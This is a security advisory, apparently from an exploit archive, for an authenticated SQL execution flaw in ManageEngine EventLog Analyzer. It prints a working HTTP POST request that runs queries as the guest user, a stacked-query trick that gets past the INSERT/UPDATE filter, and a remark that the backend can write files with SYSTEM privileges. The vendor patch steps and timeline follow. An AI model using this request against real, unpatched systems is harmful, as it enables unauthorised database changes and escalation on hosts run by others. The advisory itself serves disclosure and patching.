ManageEngine EventLog Analyzer < 10.6 build 10060 - SQL Execution
Exploit Title: ManageEngine EventLog Analyzer SQL query execution Product: ManageEngine EventLog Analyzer Vulnerable Versions: v10.6 build 10060 and previous versions Tested Version: v10.6 build 10060 (Windows) Advisory Publication: 14/09/2015 Vulnerability Type: authenticated SQL query execution Credit: xistence <xistence[at]0x90.nl> Product Description ------------------- EventLog Analyzer carry out logs analysis for all Windows, Linux and Unix systems, Switches and Routers (Cisco), other Syslog supporting devices, and applications like IIS, MS SQL. Eventlog analyzer application is capable of performing real-time log file analysis. Event log files analyzer application can carry out log file analysis of imported files. The files can be imported from the archive or from any machine. When an important security event is generated on a machine in the network, event log file analyser application collects, performs log analysis and displays the event on the EventLog Analyzer Dashboard, in real-time. The event log report is generated from the analyzed event logs. From the event log reports (graphs), you can drill down to the raw log events and do a root cause analysis within minutes, and then focus on resolving it. The logging analyser application carry out imported and archived log files analyses to fulfill the requirements of forensic analysis and event log audit. The forensic and audit reports can be generated from the analyzed logs. Vulnerability Details --------------------- Every user has the ability to execute SQL queries through the "/event/runQuery.do" script, including the default "guest" user. (The SQL query option is just not visible in the web interface) Below is the POST request, executed as "guest": POST /event/runQuery.do HTTP/1.1 Host: 192.168.2.116:8400 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=XXXXXXXXXX Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 39 execute=true&query=select+version%28%29 Access to queries starting with "INSERT" or "UPDATE" is denied by default, however this can be bypassed by doing a select query first, like this: "SELECT 1;INSERT INTO ..." The included Postgres backend is running with SYSTEM privileges on Windows, allowing to write files to disk with these privileges. A Metasploit exploit module will be released shortly. Solution -------- ManageEngine has provided a patch to fix this issue, the steps to apply/fix this are as below: 1. Stop the ELA service. 2. Download the zip from http://bonitas2.zohocorp.com/zipUploads/2015_14_07_17_52_30_o_19q686iqs1sfemdf19e05sqre61.tar.gz and extract the folders. You would have two folders "EventLogAnalyzerJSP" and "LogAnalyzerClient" under "o_19q686iqs1sfemdf19e05sqre61". Copy these two folders and place it under <ELA Home>//lib/ folder. 3. The path of the following files would be as below: runQuery_jsp.class --> <ELA Home>\\lib\\EventLogAnalyzerJSP\\com\\adventnet\\sa\\jsp\\WEB_002dINF\\jsp RunQuery.class --> <ELA Home>\\lib\\LogAnalyzerClient\\com\\adventnet\\la\ 4. Restart the ELA service and check for the issue. Advisory Timeline ----------------- 07/11/2015 - Discovery and vendor notification 07/13/2015 - ManageEngine acknowledged issue 07/14/2015 - ManageEngine supplied fix 07/16/2015 - Verified fix and replied back to ManageEngine that the issue has been resolved 09/14/2015 - Public disclosure |